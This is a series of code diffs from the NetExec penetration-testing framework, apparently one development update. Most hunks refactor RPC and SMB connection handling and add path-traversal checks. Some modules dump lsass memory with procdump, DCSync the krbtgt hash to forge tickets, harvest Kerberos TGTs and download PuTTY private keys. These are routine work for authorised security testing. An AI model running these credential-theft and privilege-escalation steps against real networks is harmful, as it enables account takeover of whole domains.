curr_MFA_sector.filename = parsed_header["$FILE_NAME"][0x58 + 2: 0x58 + 2 + (filename_lenght * 2)].decode("utf-16")
|
||||
curr_MFA_sector.filename = parsed_header["$FILE_NAME"][0x58 + 2: 0x58 + 2 + (filename_length * 2)].decode("utf-16")
|
||||
|
||||
if "$DATA" in parsed_header:
|
||||
dataRun_offset = self.bytes_to_int_signed(parsed_header["$DATA"][0x20: 0x20 + 1])
|
||||
|
||||
@@ -10,7 +10,7 @@ class NXCModule:
|
||||
# Modified by azoxlpf to handle BrokenPipe/transport errors gracefully
|
||||
# Modified by Defte following the discovery of ctjf (https://github.com/Pennyw0rth/NetExec/issues/928) and the research done along side with @NeffIsBack and I
|
||||
name = "ntlm_reflection"
|
||||
description = "Attempt to check if the OS is vulnerable to CVE-2025-33073 (NTLM Reflection attack)"
|
||||
description = "[REMOVED] This module has been integrated into the enum_cve module."
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
@@ -47,6 +47,8 @@ class NXCModule:
|
||||
return ubr < min_patched_ubr
|
||||
|
||||
def on_login(self, context, connection):
|
||||
context.log.fail("[REMOVED] This module has been integrated into the enum_cve module.")
|
||||
return
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
connection.trigger_winreg()
|
||||
|
||||
@@ -1,7 +1,9 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
from datetime import datetime, timedelta
|
||||
from os.path import join
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
import socket
|
||||
|
||||
@@ -71,7 +73,7 @@ class NXCModule:
|
||||
|
||||
if answers:
|
||||
obsolete_hosts_count = len(answers)
|
||||
filename = f"{NXC_PATH}/logs/{connection.domain}.obsoletehosts.txt"
|
||||
filename = join(NXC_PATH, "logs", sanitize_path_component(f"{connection.domain}.obsoletehosts.txt"))
|
||||
context.log.display(f"{obsolete_hosts_count} Obsolete hosts will be saved to {filename}")
|
||||
with open(filename, "w") as f:
|
||||
for dns_hostname, ip_address, os, pwd_last_set_readable in answers:
|
||||
|
||||
@@ -0,0 +1,85 @@
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket.smbconnection import SessionError
|
||||
from configparser import ConfigParser
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""Module by @NeffIsBack
|
||||
Based on the paper "Onelogon: Taking over Active Directory Accounts via Netlogon": https://softsec.rub.de/files/pdf/woot2026-onelogon.pdf
|
||||
"""
|
||||
|
||||
name = "onelogon"
|
||||
description = "Scan GPOs and registry for machine accounts vulnerable to Onelogon"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available"""
|
||||
|
||||
def on_login(self, context, connection):
|
||||
def output_callback(data):
|
||||
self.gpo_data += data
|
||||
|
||||
found_dacls = []
|
||||
|
||||
policies = connection.conn.listPath("SYSVOL", f"{connection.targetDomain}/Policies/*")
|
||||
for policy in policies:
|
||||
# Skip "." and ".." directory pointers to avoid path errors
|
||||
if policy.get_longname() in [".", ".."]:
|
||||
continue
|
||||
|
||||
try:
|
||||
self.gpo_data = b""
|
||||
connection.conn.getFile("SYSVOL", f"{connection.targetDomain}/Policies/{policy.get_longname()}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf", output_callback)
|
||||
|
||||
try:
|
||||
decoded_data = self.gpo_data.decode("utf-8")
|
||||
except UnicodeDecodeError:
|
||||
context.log.debug(f"Failed to decode GPO data for policy {policy.get_shortname()} as UTF-8, trying UTF-16...")
|
||||
decoded_data = self.gpo_data.decode("utf-16")
|
||||
|
||||
# Use strict=False and interpolation=None to safely handle Windows INI quirks and % variables.
|
||||
# Some sections (e.g. [Service General Setting]) use value-less CSV-style rows like:
|
||||
# "WinRM",2,""
|
||||
# which require allow_no_value=True to avoid ParsingError.
|
||||
config_parser = ConfigParser(strict=False, interpolation=None, allow_no_value=True)
|
||||
config_parser.read_string(decoded_data)
|
||||
|
||||
for section in config_parser.sections():
|
||||
for key, value in config_parser.items(section):
|
||||
if key == "MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Netlogon\\Parameters\\VulnerableChannelAllowList".lower():
|
||||
context.log.debug(f"Found vulnerable channel allow list: {value}")
|
||||
try:
|
||||
# Strip the surrounding double quotes from the extracted string
|
||||
found_dacls.append({"name": policy.get_shortname(), "data": value[2:].strip('"')})
|
||||
except Exception as e:
|
||||
context.log.error(f"Could not parse Registry Policy (error: {e}): {section} {key} {value}")
|
||||
except SessionError as e:
|
||||
# Catch and safely ignore expected "file not found" errors for policies without security settings
|
||||
if "STATUS_OBJECT_NAME_NOT_FOUND" in str(e) or "STATUS_NO_SUCH_FILE" in str(e):
|
||||
pass
|
||||
else:
|
||||
context.log.debug(f"SMB Session Error reading policy {policy.get_shortname()}: {e}")
|
||||
except Exception as e:
|
||||
context.log.error(f"Error parsing policy {policy.get_shortname()}, {e.__class__.__name__}: {e}")
|
||||
|
||||
if found_dacls:
|
||||
context.log.success(f"Found {len(found_dacls)} matching policies in SYSVOL Share.")
|
||||
for dacl in found_dacls:
|
||||
context.log.success(f"Found vulnerable channel allow list in policy '{dacl['name']}': '{dacl['data']}'")
|
||||
else:
|
||||
context.log.error("No matching policies found in SYSVOL Share.")
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
try:
|
||||
remoteOps = RemoteOperations(connection.conn, False)
|
||||
remoteOps.enableRegistry()
|
||||
|
||||
regHandle = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)["phKey"]
|
||||
keyHandle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SYSTEM\\CurrentControlSet\\Services\\Netlogon\\Parameters")["phkResult"]
|
||||
value = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "VulnerableChannelAllowList")[1].rstrip("\x00")
|
||||
context.log.success(f"Found VulnerableChannelAllowList registry configuration: {value}")
|
||||
except Exception as e:
|
||||
context.log.error(f"Error while querying registry: {e}")
|
||||
@@ -1,6 +1,8 @@
|
||||
from os import makedirs
|
||||
from os.path import join, abspath
|
||||
from os.path import join
|
||||
from pathlib import Path
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
from io import BytesIO
|
||||
|
||||
@@ -46,9 +48,12 @@ class NXCModule:
|
||||
for line in file_content.splitlines():
|
||||
context.log.highlight(f"\t{line}")
|
||||
if self.export:
|
||||
filename = f"{connection.host}_{directory.get_longname()}_powershell_history.txt"
|
||||
filename = sanitize_path_component(f"{connection.host}_{directory.get_longname()}_powershell_history.txt")
|
||||
export_path = join(NXC_PATH, "modules", "powershell_history")
|
||||
path = abspath(join(export_path, filename))
|
||||
path = Path(export_path, filename).resolve()
|
||||
if Path(export_path).resolve() not in path.parents:
|
||||
context.log.fail(f"Path traversal detected in {filename!r}, skipping")
|
||||
continue
|
||||
makedirs(export_path, exist_ok=True)
|
||||
try:
|
||||
with open(path, "w+") as file:
|
||||
|
||||
+54
-20
@@ -1,9 +1,11 @@
|
||||
import os
|
||||
from pathlib import Path
|
||||
from impacket.krb5.kerberosv5 import getKerberosTGT
|
||||
from impacket.krb5.ccache import CCache
|
||||
from impacket.krb5.types import Principal
|
||||
from impacket.krb5 import constants
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
@@ -19,17 +21,28 @@ class NXCModule:
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available"""
|
||||
"""
|
||||
ALL Attempt to authenticate for every computer object in the domain (default: False)
|
||||
|
||||
Examples:
|
||||
nxc ldap $IP -u $USER -p $PASSWORD -M pre2k
|
||||
nxc ldap $IP -u $USER -p $PASSWORD -M pre2k -o ALL=True
|
||||
"""
|
||||
self.all_option = module_options.get("ALL", "").lower() in ["true", "1", "yes"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
# Define the search filter for pre-created computer accounts
|
||||
search_filter = "(&(objectClass=computer)(userAccountControl=4128))"
|
||||
# Define the search filter
|
||||
if self.all_option:
|
||||
search_filter = "(&(objectClass=computer))"
|
||||
else:
|
||||
search_filter = "(&(objectClass=computer)(userAccountControl=4128))" # 4128 = 4096 (WORKSTATION_TRUST_ACCOUNT) | 32 (WORKSTATION_TRUST_ACCOUNT)
|
||||
|
||||
attributes = ["sAMAccountName", "userAccountControl", "dNSHostName"]
|
||||
|
||||
context.log.info(f"Using search filter: {search_filter}")
|
||||
context.log.info(f"Attributes to retrieve: {attributes}")
|
||||
|
||||
computers = []
|
||||
computers = {}
|
||||
|
||||
try:
|
||||
# Use paged search to retrieve all computer accounts with specific flags
|
||||
@@ -39,27 +52,39 @@ class NXCModule:
|
||||
|
||||
for computer in results:
|
||||
context.log.debug(f"Processing computer: {computer['sAMAccountName']}, UAC: {computer['userAccountControl']}")
|
||||
# Check if the account is a pre-created computer account
|
||||
if int(computer["userAccountControl"]) == 4128: # 4096 | 32
|
||||
computers.append(computer["sAMAccountName"])
|
||||
context.log.debug(f"Added computer: {computer['sAMAccountName']}")
|
||||
computers[computer["sAMAccountName"]] = computer["userAccountControl"]
|
||||
context.log.debug(f"Added computer: {computer['sAMAccountName']}")
|
||||
|
||||
# Save computers to file
|
||||
domain_dir = os.path.join(f"{NXC_PATH}/modules/pre2k", connection.domain)
|
||||
output_file = os.path.join(domain_dir, "precreated_computers.txt")
|
||||
domain_dir = os.path.join(NXC_PATH, "modules", "pre2k", sanitize_path_component(connection.domain))
|
||||
output_file_pre2k = os.path.join(domain_dir, "precreated_computers.txt")
|
||||
output_file_non_pre2k = os.path.join(domain_dir, "non_precreated_computers.txt")
|
||||
|
||||
# Create directories if they do not exist
|
||||
os.makedirs(domain_dir, exist_ok=True)
|
||||
|
||||
with open(output_file, "w") as file:
|
||||
for computer in computers:
|
||||
file.write(f"{computer}\n")
|
||||
with open(output_file_pre2k, "w") as pre2k_file, open(output_file_non_pre2k, "w") as non_pre2k_file:
|
||||
for computer, uac in computers.items():
|
||||
if int(uac) == 4128:
|
||||
pre2k_file.write(f"{computer}\n")
|
||||
else:
|
||||
non_pre2k_file.write(f"{computer}\n")
|
||||
|
||||
# Print discovered pre-created computer accounts
|
||||
# Print discovered (pre-created) computer accounts
|
||||
if computers:
|
||||
for computer in computers:
|
||||
context.log.highlight(f"Pre-created computer account: {computer}")
|
||||
context.log.success(f"Found {len(computers)} pre-created computer accounts. Saved to {output_file}")
|
||||
for computer, uac in computers.items():
|
||||
if int(uac) == 4128:
|
||||
context.log.highlight(f"Pre-created computer account: {computer}")
|
||||
else:
|
||||
context.log.debug(f"Computer account: {computer}")
|
||||
|
||||
counter_pre2k = len([v for v in computers.values() if int(v) == 4128])
|
||||
counter_non_pre2k = len([v for v in computers.values() if int(v) != 4128])
|
||||
|
||||
if counter_pre2k != 0:
|
||||
context.log.success(f"Found {counter_pre2k} pre-created computer accounts. Saved to {output_file_pre2k}")
|
||||
if counter_non_pre2k != 0:
|
||||
context.log.success(f"Found {counter_non_pre2k} normal computer accounts. Saved to {output_file_non_pre2k}")
|
||||
else:
|
||||
context.log.info("No pre-created computer accounts found.")
|
||||
|
||||
@@ -76,7 +101,7 @@ class NXCModule:
|
||||
|
||||
# Summary of TGT results
|
||||
if successful_tgts > 0:
|
||||
context.log.success(f"Successfully obtained TGT for {successful_tgts} pre-created computer accounts. Saved to {ccache_base_dir}")
|
||||
context.log.success(f"Successfully obtained TGT for {successful_tgts} (pre-created) computer accounts. Saved to {ccache_base_dir}")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error occurred during search: {e}")
|
||||
|
||||
@@ -101,14 +126,23 @@ class NXCModule:
|
||||
context.log.success(f"Successfully obtained TGT for {username}@{domain}")
|
||||
return True
|
||||
except Exception as e:
|
||||
context.log.fail(f"Failed to get TGT for {username}@{domain}: {e}")
|
||||
if "KDC_ERR_PREAUTH_FAILED" in str(e):
|
||||
if self.all_option:
|
||||
context.log.debug(f"Failed to get TGT for {username}@{domain}: KDC_ERR_PREAUTH_FAILED")
|
||||
else:
|
||||
context.log.fail(f"Failed to get TGT for {username}@{domain}: KDC_ERR_PREAUTH_FAILED")
|
||||
else:
|
||||
context.log.fail(f"Error obtaining TGT for {username}@{domain}: {e}")
|
||||
return False
|
||||
|
||||
def save_ticket(self, context, username, ticket, sessionKey, ccache_base_dir):
|
||||
try:
|
||||
ccache = CCache()
|
||||
ccache.fromTGT(ticket, sessionKey, sessionKey)
|
||||
ccache_filename = os.path.join(ccache_base_dir, f"{username}.ccache")
|
||||
ccache_filename = Path(ccache_base_dir, sanitize_path_component(f"{username}.ccache")).resolve()
|
||||
if Path(ccache_base_dir).resolve() not in ccache_filename.parents:
|
||||
context.log.fail(f"Path traversal detected in ticket filename for {username!r}, skipping")
|
||||
return
|
||||
ccache.saveFile(ccache_filename)
|
||||
context.log.info(f"Saved ticket in {ccache_filename}")
|
||||
except Exception as e:
|
||||
|
||||
+59
-36
@@ -1,10 +1,12 @@
|
||||
import re
|
||||
from impacket.dcerpc.v5 import samr, tsch, transport
|
||||
from types import SimpleNamespace
|
||||
from impacket.dcerpc.v5 import samr, tsch
|
||||
from impacket.dcerpc.v5 import tsts as TSTS
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
from contextlib import suppress
|
||||
import traceback
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.rpc import NXCRPCConnection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -19,11 +21,46 @@ class NXCModule:
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""There are no module options."""
|
||||
"""
|
||||
ALTUSER Alternative domain user to enumerate admin groups with
|
||||
ALTPASS Password for ALTUSER
|
||||
ALTDOMAIN Domain FQDN of the alternative credentials
|
||||
ALTDC DC IP
|
||||
|
||||
When alternative credentials are supplied, Domain and Enterprise Admins are enumerated over SAMR against the DC using those credentials, rather than the local administrator session (which cannot enumerate these groups).
|
||||
"""
|
||||
self.altuser = module_options.get("ALTUSER")
|
||||
self.altpass = module_options.get("ALTPASS")
|
||||
self.altdomain = module_options.get("ALTDOMAIN")
|
||||
self.altdc = module_options.get("ALTDC")
|
||||
|
||||
alt_creds = [self.altuser, self.altpass, self.altdomain]
|
||||
if any(alt_creds) and not all(alt_creds):
|
||||
context.log.fail("ALTUSER, ALTPASS, and ALTDOMAIN must be specified together")
|
||||
return False
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
try:
|
||||
admin_users = self.enumerate_admin_users(context, connection)
|
||||
if self.altuser and self.altpass and self.altdomain:
|
||||
context.log.info(f"Using alternative domain credentials: {self.altdomain}\\{self.altuser}")
|
||||
alt_connection = SimpleNamespace(
|
||||
username=self.altuser,
|
||||
password=self.altpass,
|
||||
domain=self.altdomain,
|
||||
lmhash="",
|
||||
nthash="",
|
||||
aesKey=None,
|
||||
kerberos=False,
|
||||
kdcHost=self.altdc,
|
||||
conn=None,
|
||||
host=self.altdc,
|
||||
remoteName=self.altdc,
|
||||
port=445,
|
||||
)
|
||||
admin_users = self.enumerate_admin_users(context, alt_connection)
|
||||
else:
|
||||
admin_users = self.enumerate_admin_users(context, connection)
|
||||
|
||||
if not admin_users:
|
||||
context.log.fail("No admin users found.")
|
||||
return
|
||||
@@ -39,36 +76,19 @@ class NXCModule:
|
||||
context.log.fail(str(e))
|
||||
context.log.debug(traceback.format_exc())
|
||||
|
||||
def get_dce_rpc(self, target, string_binding, dce_binding, connection):
|
||||
# Create a DCE/RPC transport object with the specified string binding
|
||||
rpctransport = transport.DCERPCTransportFactory(string_binding)
|
||||
rpctransport.setRemoteHost(target)
|
||||
rpctransport.set_credentials(
|
||||
connection.username,
|
||||
connection.password,
|
||||
connection.domain,
|
||||
connection.lmhash,
|
||||
connection.nthash,
|
||||
aesKey=connection.aesKey,
|
||||
def get_dce_rpc(self, named_pipe, dce_binding, connection, target_ip=None, auth_level=None):
|
||||
return NXCRPCConnection(connection).connect(
|
||||
named_pipe,
|
||||
dce_binding,
|
||||
target_ip=target_ip,
|
||||
auth_level=auth_level or RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
|
||||
)
|
||||
rpctransport.set_kerberos(connection.kerberos, connection.kdcHost)
|
||||
|
||||
# Connect to the DCE/RPC endpoint
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
if connection.kerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
dce.set_credentials(*rpctransport.get_credentials())
|
||||
dce.connect()
|
||||
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
dce.bind(dce_binding)
|
||||
return dce
|
||||
|
||||
def enumerate_admin_users(self, context, connection):
|
||||
admin_users = []
|
||||
|
||||
try:
|
||||
string_binding = fr"ncacn_np:{connection.kdcHost}[\pipe\samr]"
|
||||
dce = self.get_dce_rpc(connection.kdcHost, string_binding, samr.MSRPC_UUID_SAMR, connection)
|
||||
dce = self.get_dce_rpc(r"\samr", samr.MSRPC_UUID_SAMR, connection, target_ip=connection.kdcHost)
|
||||
except Exception as e:
|
||||
context.log.fail(f"Failed to connect to SAMR: {e}")
|
||||
context.log.debug(traceback.format_exc())
|
||||
@@ -164,19 +184,23 @@ class NXCModule:
|
||||
context.log.debug(f"Enumerated {len(processes)} processes on {connection.host}")
|
||||
|
||||
for process in processes:
|
||||
context.log.debug(f"ImageName: {process['ImageName']}, UniqueProcessId: {process['SessionId']}, pSid: {process['pSid']}")
|
||||
info = process.getProcessInfo()
|
||||
image_name = info["ImageName"].getValue()
|
||||
pid = info["UniqueProcessId"]
|
||||
session_id = info["SessionId"]
|
||||
psid = process.getSid()
|
||||
context.log.debug(f"ImageName: {image_name}, UniqueProcessId: {pid}, SessionId: {session_id}, pSid: {psid}")
|
||||
|
||||
# Check if process SID matches any admin user SID
|
||||
for user in admin_users:
|
||||
if process["pSid"] == user["sid"]:
|
||||
if psid == user["sid"]:
|
||||
user["in_tasks"] = True
|
||||
context.log.info(f"Matched process {process['ImageName']} with user {user['username']}")
|
||||
context.log.info(f"Matched process {image_name} with user {user['username']}")
|
||||
|
||||
def check_scheduled_tasks(self, context, connection, admin_users):
|
||||
"""Checks scheduled tasks over rpc."""
|
||||
try:
|
||||
target = connection.remoteName if connection.kerberos else connection.host
|
||||
stringbinding = f"ncacn_np:{target}[\\pipe\\atsvc]"
|
||||
dce = self.get_dce_rpc(target, stringbinding, tsch.MSRPC_UUID_TSCHS, connection)
|
||||
dce = self.get_dce_rpc(r"\atsvc", tsch.MSRPC_UUID_TSCHS, connection)
|
||||
|
||||
# Also extract non admins where we can get the password
|
||||
self.non_admins = []
|
||||
@@ -200,8 +224,7 @@ class NXCModule:
|
||||
non_admin_sids.add(sid.group(1))
|
||||
|
||||
if non_admin_sids:
|
||||
string_binding = fr"ncacn_np:{connection.kdcHost}[\pipe\samr]"
|
||||
dce = self.get_dce_rpc(connection.kdcHost, string_binding, samr.MSRPC_UUID_SAMR, connection)
|
||||
dce = self.get_dce_rpc(r"\samr", samr.MSRPC_UUID_SAMR, connection, target_ip=connection.kdcHost)
|
||||
|
||||
# Get Domain Handle
|
||||
server_handle = samr.hSamrConnect2(dce)["ServerHandle"]
|
||||
|
||||
@@ -1,17 +1,13 @@
|
||||
from impacket import system_errors
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE, rpc_status_codes
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException, rpc_status_codes
|
||||
from impacket.structure import Structure
|
||||
from impacket.dcerpc.v5 import transport, rprn
|
||||
from impacket.dcerpc.v5 import rprn
|
||||
from nxc.helpers.rpc import NXCRPCConnection
|
||||
from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRSTRUCT, NDRUNION, NULL
|
||||
from impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, ULONG, WSTR
|
||||
from impacket.dcerpc.v5.rprn import checkNullString, STRING_HANDLE, PBYTE_ARRAY
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
KNOWN_PROTOCOLS = {
|
||||
135: {"bindstr": r"ncacn_ip_tcp:%s[135]"},
|
||||
445: {"bindstr": r"ncacn_np:%s[\pipe\epmapper]"},
|
||||
}
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
@@ -27,7 +23,6 @@ class NXCModule:
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
self.__string_binding = None
|
||||
self.port = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
@@ -37,35 +32,8 @@ class NXCModule:
|
||||
self.port = int(module_options["PORT"])
|
||||
|
||||
def on_login(self, context, connection):
|
||||
# Connect and bind to MS-RPRN (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/848b8334-134a-4d02-aea4-03b673d6c515)
|
||||
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
||||
stringbinding = rf"ncacn_np:{target}[\PIPE\spoolss]"
|
||||
|
||||
context.log.info(f"Binding to {stringbinding!r}")
|
||||
|
||||
rpctransport = transport.DCERPCTransportFactory(stringbinding)
|
||||
|
||||
rpctransport.set_credentials(
|
||||
connection.username,
|
||||
connection.password,
|
||||
connection.domain,
|
||||
connection.lmhash,
|
||||
connection.nthash,
|
||||
connection.aesKey,
|
||||
)
|
||||
|
||||
rpctransport.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
|
||||
rpctransport.setRemoteHost(target)
|
||||
rpctransport.set_dport(self.port)
|
||||
|
||||
try:
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
if connection.kerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
# Connect to spoolss named pipe
|
||||
dce.connect()
|
||||
# Bind to MSRPC MS-RPRN UUID: 12345678-1234-ABCD-EF00-0123456789AB
|
||||
dce.bind(rprn.MSRPC_UUID_RPRN)
|
||||
dce = NXCRPCConnection(connection).connect(r"\spoolss", rprn.MSRPC_UUID_RPRN)
|
||||
except Exception as e:
|
||||
context.log.fail(f"Failed to bind: {e}")
|
||||
return False
|
||||
|
||||
@@ -66,6 +66,10 @@ class NXCModule:
|
||||
# get pid lsass
|
||||
context.log.display("Getting lsass PID")
|
||||
p = connection.execute('tasklist /v /fo csv | findstr /i "lsass"', True)
|
||||
if not p:
|
||||
context.log.fail("Failed getting lsass.exe PID")
|
||||
self.delete_procdump_binary(connection, context)
|
||||
return
|
||||
pid = p.split(",")[1][1:-1]
|
||||
command = f"{self.tmp_dir}{self.procdump} -accepteula -ma {pid} {self.tmp_dir}%COMPUTERNAME%-%PROCESSOR_ARCHITECTURE%-%USERDOMAIN%.dmp"
|
||||
context.log.display(f"Executing command {command}")
|
||||
|
||||
+1
-1
@@ -8,7 +8,7 @@ class NXCModule:
|
||||
Module by @_sandw1ch
|
||||
"""
|
||||
name = "pso"
|
||||
description = "Module to get the Fine Grained Password Policy/PSOs"
|
||||
description = "[REMOVED] This module moved to the core option --pso"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
|
||||
@@ -6,8 +6,10 @@ from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
from os import makedirs
|
||||
from pathlib import Path
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
import re
|
||||
|
||||
@@ -160,7 +162,10 @@ class NXCModule:
|
||||
makedirs(f"{NXC_PATH}/modules/PuTTY", exist_ok=True)
|
||||
share = session["private_key_path"].split(":")[0] + "$"
|
||||
file_path = session["private_key_path"].split(":")[1]
|
||||
download_path = f"{NXC_PATH}/modules/PuTTY/putty_{session['user']}_{session['session_name']}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.sec"
|
||||
download_path = Path(NXC_PATH, "modules", "PuTTY", sanitize_path_component(f"putty_{session['user']}_{session['session_name']}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.sec")).resolve()
|
||||
if Path(NXC_PATH, "modules", "PuTTY").resolve() not in download_path.parents:
|
||||
self.context.log.fail(f"Path traversal detected in PuTTY session {session['session_name']!r}, skipping")
|
||||
continue
|
||||
|
||||
buf = BytesIO()
|
||||
with open(download_path, "wb") as file:
|
||||
|
||||
+10
-34
@@ -2,7 +2,6 @@ import os
|
||||
import datetime
|
||||
import re
|
||||
from contextlib import suppress
|
||||
from impacket.smbconnection import SMBConnection
|
||||
from impacket.examples.secretsdump import RemoteOperations, NTDSHashes
|
||||
from impacket.dcerpc.v5.drsuapi import DCERPCSessionError
|
||||
from calendar import timegm
|
||||
@@ -20,6 +19,7 @@ from impacket.dcerpc.v5.samr import GROUP_MEMBERSHIP, SE_GROUP_MANDATORY, SE_GRO
|
||||
from impacket.dcerpc.v5.dtypes import SID, RPC_SID, NULL
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.smb import get_smb_connection
|
||||
|
||||
# Encryption type configurations: enctype, checksum, signature size, session key size
|
||||
ETYPE_CONFIG = {
|
||||
@@ -49,7 +49,7 @@ class NXCModule:
|
||||
self.krbtgt_hash = ""
|
||||
self.aes128_key = ""
|
||||
self.aes256_key = ""
|
||||
self.etype = "rc4"
|
||||
self.etype = "aes256"
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
@@ -59,7 +59,7 @@ class NXCModule:
|
||||
USER Target username to forge the ticket for (default: Administrator)
|
||||
USER_ID RID used as the user ID in the PAC (default: 500)
|
||||
RID RID used for the extra SID (default: 519 = Enterprise Admins)
|
||||
ETYPE Encryption type for the ticket: rc4, aes128, aes256 (default: rc4)
|
||||
ETYPE Encryption type for the ticket: rc4, aes128, aes256 (default: aes256)
|
||||
|
||||
Examples:
|
||||
netexec ldap <ip> -u <username> -p <password> -M raisechild -o USER=DC01$
|
||||
@@ -69,7 +69,7 @@ class NXCModule:
|
||||
"""
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
self.etype = module_options.get("ETYPE", "rc4").lower()
|
||||
self.etype = module_options.get("ETYPE", "aes256").lower()
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
self.context = context
|
||||
@@ -133,32 +133,6 @@ class NXCModule:
|
||||
else:
|
||||
self.context.log.fail("Could not retrieve child domain SID from connection.")
|
||||
|
||||
def _get_smb_session(self, ldap_conn):
|
||||
smb = SMBConnection(
|
||||
remoteName=ldap_conn.hostname,
|
||||
remoteHost=ldap_conn.host,
|
||||
sess_port=445,
|
||||
)
|
||||
|
||||
if ldap_conn.kerberos:
|
||||
smb.kerberosLogin(
|
||||
user=ldap_conn.username,
|
||||
password=ldap_conn.password,
|
||||
domain=ldap_conn.domain,
|
||||
lmhash=ldap_conn.lmhash,
|
||||
nthash=ldap_conn.nthash,
|
||||
aesKey=ldap_conn.aesKey,
|
||||
kdcHost=ldap_conn.kdcHost,
|
||||
useCache=ldap_conn.use_kcache,
|
||||
)
|
||||
elif ldap_conn.nthash or ldap_conn.lmhash:
|
||||
# NTLM pass-the-hash
|
||||
smb.login(ldap_conn.username, "", ldap_conn.domain, lmhash=ldap_conn.lmhash, nthash=ldap_conn.nthash)
|
||||
else:
|
||||
# NTLM with cleartext password
|
||||
smb.login(ldap_conn.username, ldap_conn.password, ldap_conn.domain)
|
||||
return smb
|
||||
|
||||
def _get_domain_netbios(self, ldap_conn):
|
||||
resp = ldap_conn.search(
|
||||
baseDN=f"CN=Partitions,{ldap_conn.configuration_context}",
|
||||
@@ -225,11 +199,13 @@ class NXCModule:
|
||||
|
||||
def get_krbtgt_hash(self, connection):
|
||||
try:
|
||||
smb_conn = self._get_smb_session(connection)
|
||||
self._dcsync_krbtgt(smb_conn, connection)
|
||||
smb_conn = get_smb_connection(self.context, connection)
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"Error during DCSync: {e}")
|
||||
return
|
||||
if not smb_conn:
|
||||
return
|
||||
self._dcsync_krbtgt(smb_conn, connection)
|
||||
|
||||
if (self.etype == "rc4" and self.krbtgt_hash) or (self.etype == "aes128" and self.aes128_key) or (self.etype == "aes256" and self.aes256_key):
|
||||
try:
|
||||
@@ -300,7 +276,7 @@ class NXCModule:
|
||||
def _createBasicValidationInfo(self, username: str, domain: str, domain_sid: str, groups: list[int], user_rid: int) -> VALIDATION_INFO:
|
||||
kerbdata = KERB_VALIDATION_INFO()
|
||||
|
||||
now_utc = datetime.datetime.now(datetime.timezone.utc)
|
||||
now_utc = datetime.datetime.now(datetime.UTC)
|
||||
now_unix = timegm(now_utc.timetuple())
|
||||
now_filetime = self._getFileTime(now_unix)
|
||||
|
||||
@@ -451,7 +427,7 @@ class NXCModule:
|
||||
